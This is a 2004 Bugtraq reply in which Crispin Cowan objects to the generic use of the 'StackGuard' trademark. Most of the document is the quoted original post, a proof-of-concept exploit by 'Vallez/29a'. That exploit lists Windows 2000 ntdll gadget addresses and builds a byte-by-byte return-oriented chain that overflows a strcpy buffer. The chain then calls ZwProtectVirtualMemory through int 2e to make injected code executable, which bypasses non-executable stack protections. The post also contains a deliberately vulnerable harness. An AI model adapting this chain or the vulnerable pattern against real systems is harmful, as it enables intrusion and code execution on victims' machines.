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Date: Thu, 21 Oct 2004 16:25:17 -0700
From: Crispin Cowan <crispin@...unix.com>
To: vallez@...il.com
Cc: bugtraq@...urityfocus.com
Subject: Re: avoiding stackguard
Vallez appears to be using "stackguard" generically to refer to stack
protections. Since the example code provided is for Windows, and (AFAIK)
there has never been a StackGuard port to Windows, he is not actually
talking about StackGuard per se.
If you mean "StackGuard", then say so. If you mean some kind of generic
protection for stacks, then call it something else. "StackGuard" is a
registered trademark of Immunix Inc.
Crispin
vallez@...il.com wrote:
>hi,
>im posting here a manner for avoiding stackguard. Shellcode without zeros.
>
>/***************************************************************/
>/*Shellcode avoiding stack protections sample--------Vallez/29a*/
>/***************************************************************/
>
>/*
>All we have listened about stack protections. Security products are protecting stacks of code executed there. New
>hardware too, that will not let you to execute code in a not executable memory (amd64 for example).
>
>Doing shellcodes avoiding this fact is not very complex, as i will show with this small sample.
>
>The idea is to use pieces of code of dlls for example. In this code im using pieces of code of ntdll for doing my
>purposes. How? Easy, with the stack overflow we will leave in the stack ret addresses for conduction our thread
>to code in ntdll.dll. Exactly we are using these codes in ntdll:
>
>
>-------------------------------------------------------------------------------------------
>
>.78462FDF: AB stosd
>.78462FE0: 5F pop edi
>.78462FE1: C20400 retn 00004
>
>-------------------------------------------------------------------------------------------
>
>.784635EC: 8BC6 mov eax,esi
>.784635EE: 5F pop edi
>.784635EF: 5E pop esi
>.784635F0: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.7849DA92: 0FC8 bswap eax
>.7849DA94: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.784680DA: CD2E int 02E
>.784680DC: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.784AFAAD: pop eax
> retn
>
>-------------------------------------------------------------------------------------------
>
>.7846BBE8: pop ecx
> retn
>
>-------------------------------------------------------------------------------------------
>
>.784633AF: sub eax,ecx
> sar eax,1
> dec eax
> retn
>
>-------------------------------------------------------------------------------------------
>
>.78466b22: sub eax,ecx
> pop edi
> pop esi
> pop ebx
> retn c
>
>-------------------------------------------------------------------------------------------
>
>.78499442: pop edx
> retn
>
>-------------------------------------------------------------------------------------------
>*/
>
>
>/*
>This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
>visual studio 6.0 in debug and default options for the project. (really,only open the
>.c with visual studio and F7,and yes,yes...
>*/
>
>#include <stdio.h>
>
>#define DEBUGZ
>
>#ifdef DEBUGZ
>
>/*
> for debugging we have activated DEBUGZ for giving the shellcode directly to
> func(), but this shellcode could go perfectly as argv[1]
>
>*/
>
>char exploit[]=
>{
>'a','a','a','a','a','a','a','a','a','a',
>'a','a','a','a','a','a','a','a','a','a',
>'a','a','a','a','a','a','a','a','a','a',
>'a','a','a','a','a','a',
>0xad,0xfa,0x4a,0x78,//here we are overwriting ret eip func() goto pop eax/retn
>0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll eax = 0x90909090
>0xe0,0x2f,0x46,0x78,//goto pop edi/retn4
>0x21,0x21,0x4b,0x78,//edi = 0x78462121
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>'a','a','a','a', //trash for retn4
>0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0x90,0x90,0x90,0xcc,//this nops are part of the code that we will dump to .data of ntdll
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>//start with parameters
>//now we should give execution access to .data with
>//ZwVirtualProtectMemory(0xFFFFFFFF,0x784b2121,0x000000ff,0x00000040,0x784b2121+0x70);
>0x21+0x30,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0xFF,0xFF,0xFF,0xFF,//parameters for ZwVirtualProtectMemory. This process, 0xFFFFFFFF.
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>0x21+0x34,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0x21+0x58,0x21,0x4b,0x78,//parameters for ZwVirtualProtectMemory. addr of variable keeping addr of mem
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>0x21+0x58,0x21,0x4b,0x78,//we must write here the addr of memory that we want to do executable
>0xad,0xfa,0x4a,0x78, //goto pop eax = 0x784b2121
>'a','a','a','a', //trash for retn 4
>0x21,0x21,0x4b,0x78, //for poping to eax
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>'a','a','a','a', //trash for edi
>
>//the next parameter has zeros, so we cant have it in shellcode.We will get in eax=0x00000040
>
>0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
>'a','a','a','a', //trash for retn 4
>0xff,0xff,0xff,0xff,
>0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffffbf
>0xff,0xff,0xff,0xbf,
>0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
>0x21+0x3c,0x21,0x4b,0x78,//other addr in .data
>'a','a','a','a',
>'a','a','a','a',
>0x92,0xDA,0x49,0x78,//goto bswap eax,retn
>'a','a','a','a',
>'a','a','a','a',
>'a','a','a','a',
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>//eax=0x00000040 edi=next addr we will write 0x40,flags
>0x21+0x54,0x21,0x4b,0x78,//other addr in .data
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>'a','a','a','a',
>0x21+0x40,0x21,0x4b,0x78,//next part of ntdll .data where we will write params
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0x21+0x50,0x21,0x4b,0x78,//old protect returned as IO param in ZwVirtualProtectMemory
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>0x21+0x38,0x21,0x4b,0x78,//other part to write,in this case the addr of the variable storing size for api
>0xad,0xfa,0x4a,0x78,//goto pop eax/retn
>'a','a','a','a',
>0x21+0x54,0x21,0x4b,0x78,//addr where size is stored,poped with pop eax
>0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
>'a','a','a','a',//trash for poping to edi
>
>//now we must call int 2e with eax=0x77 and edx=0x784b2151
>
>0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
>'a','a','a','a', //trash
>0xff,0xff,0xff,0xff,
>0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffff88
>0xff,0xff,0xff,0x88,
>0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
>'a','a','a','a',
>'a','a','a','a',
>'a','a','a','a',
>0x42,0x94,0x49,0x78,//goto pop edx,retn
>'a','a','a','a',
>'a','a','a','a',
>'a','a','a','a',
>0x21+0x30,0x21,0x4b,0x78, //pop to edx address of params for ZwVirtualProtectMemory
>0x92,0xDA,0x49,0x78,//goto bswap eax,retn
>//eax=0x77(service id) edx->params
>0xDA,0x80,0x46,0x78, //goto int 2e,retn
>
>0x21,0x21,0x4b,0x78, //we have copied all the code that we need,so we jump that code in .data of ntdll.
>
>
>};
>char * pexploit[2] = {exploit,exploit};
>#endif
>
>void func(int argc,char ** argv)
>{
> char buffer[30];
>
> if(argc>1)
> {
> strcpy(buffer,argv[1]);
> }
>}
>
>void main(int argc,char ** argv)
>{
>
>#ifndef DEBUGZ
> func(argc,argv);
>#else
> func(argc,pexploit);
>#endif
>}
>
>/*
>
> This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
> Its only a Proof of concept about how shellcodes could avoid stack protections.
>
> This shellcode is not executed in the stack, however it has in the stack the useful values for
> conducting the thread to ntdll code and forcing this code to write executable code to
> ntdll .data section. If today not, in the future all not executable memory will be protected
> against execution, so we call ZwProtectVirtualMemory for setting .data zone where we have writed
> as executable (for this purpose we will dump parameters of the api to .data,in other part,
> and then pointing edx to that parameters and calling int 2e with eax=0x77,the service id.
>*/
>
>/*
>
>Parts of ntdll:
>
>-------------------------------------------------------------------------------------------
>
>.78462FDF: AB stosd
>.78462FE0: 5F pop edi
>.78462FE1: C20400 retn 00004
>
>-------------------------------------------------------------------------------------------
>
>.784635EC: 8BC6 mov eax,esi
>.784635EE: 5F pop edi
>.784635EF: 5E pop esi
>.784635F0: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.7849DA92: 0FC8 bswap eax
>.7849DA94: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.784680DA: CD2E int 02E
>.784680DC: C3 retn
>
>-------------------------------------------------------------------------------------------
>
>.784AFAAD: pop eax
> retn
>
>-------------------------------------------------------------------------------------------
>
>.7846BBE8: pop ecx
> retn
>
>-------------------------------------------------------------------------------------------
>
>.784633AF: sub eax,ecx
> sar eax,1
> dec eax
> retn
>
>-------------------------------------------------------------------------------------------
>
>.78466b22: sub eax,ecx
> pop edi
> pop esi
> pop ebx
> retn c
>
>-------------------------------------------------------------------------------------------
>
>.78499442: pop edx
> retn
>
>-------------------------------------------------------------------------------------------
>
>.data(ntdll.dll) 784b0000 --- For copying the code there.
>
> Number Name VirtSize RVA PhysSize Offset Flag-
> 1 .text 00045CAB 00001000 00045E00 00000400 60000020
> 2 ECODE 00004371 00047000 00004400 00046200 60000020
> 3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
> 4 .data 00002D84 00050000 00002200 0004E600 C0000040
> 5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
> 6 .reloc 00002010 00080000 00002200 0007CC00 42000040
>
>-------------------------------------------------------------------------------------------
>
>Info of my ntdll:
>----------------
>
>Version: 5.0.2195.6899
>
> Count of sections 6 ¦ Machine intel386
> Symbol table 00000000[00000000] ¦ Wed Mar 24 03:17:14 2004
> Size of optional header 00E0 ¦ Magic optional header 010B
> Linker version 5.12 ¦ OS version 5.00
> Image version 5.00 ¦ Subsystem version 4.00
> Entry point 00000000 ¦ Size of code 0004E200
> Size of init data 00030800 ¦ Size of uninit data 00000000
> Size of image 00083000 ¦ Size of header 00000400
> Base of code 00001000 ¦ Base of data 0004E000
> Image base 78460000 ¦ Subsystem Windows char
> Section alignment 00001000 ¦ File alignment 00000200
> Stack 00040000/00001000 ¦ Heap 00100000/00001000
> Checksum 00082A23 ¦ Number of directories 16
>
>*/
>
>
>
>
--
Crispin Cowan, Ph.D. http://immunix.com/~crispin/
CTO, Immunix http://immunix.com
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